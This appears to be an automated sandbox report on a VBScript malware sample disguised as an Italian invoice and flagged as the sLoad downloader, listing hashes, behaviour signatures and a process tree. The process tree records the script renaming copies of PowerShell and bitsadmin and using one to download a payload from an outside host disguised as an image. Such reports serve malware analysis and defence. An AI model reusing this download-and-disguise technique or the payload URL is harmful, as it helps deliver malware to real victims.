Analysis

  • max time kernel
    45s
  • max time network
    55s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 15:02

General

  • Target

    FattDiffEmessa2020 03799870369/FattDiffEmessa2020 03799870369.vbs

  • Size

    3KB

  • MD5

    ba1697038db097aae963962a1fd5dd15

  • SHA1

    46e3f1b7e3c93f3de52d63a1afb3b6f6c17180b8

  • SHA256

    79b59d0b510fb8855ee624fd51b46c2b4f1cccef9294860f9864f00183b07e2c

  • SHA512

    d45c7b86124b760381e36eeb301c2fba631e38b3ba537187ca059238eb2692531dda9efaa0ed0806c2530794b9fcd4f70e872ff6da2984d31ea812e6e177fb64

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FattDiffEmessa2020 03799870369\FattDiffEmessa2020 03799870369.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1336
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\pDrBqNtd.exe
      2⤵
        PID:1712
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\DrBqNtd.exe
        2⤵
          PID:2028
        • C:\Users\Admin\AppData\Roaming\DrBqNtd.exe
          "C:\Users\Admin\AppData\Roaming\DrBqNtd.exe" /transfer bHybPh /download https://ndjambo.com/jaluma/03799870369/it.gif C:\Users\Admin\AppData\Roaming\it.gif
          2⤵
          • Executes dropped EXE
          PID:2004

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\DrBqNtd.exe

        Filesize

        182KB

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\Users\Admin\AppData\Roaming\DrBqNtd.exe

        Filesize

        182KB

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/1336-54-0x000007FEFBDA1000-0x000007FEFBDA3000-memory.dmp

        Filesize

        8KB

      • memory/2004-60-0x00000000753B1000-0x00000000753B3000-memory.dmp

        Filesize

        8KB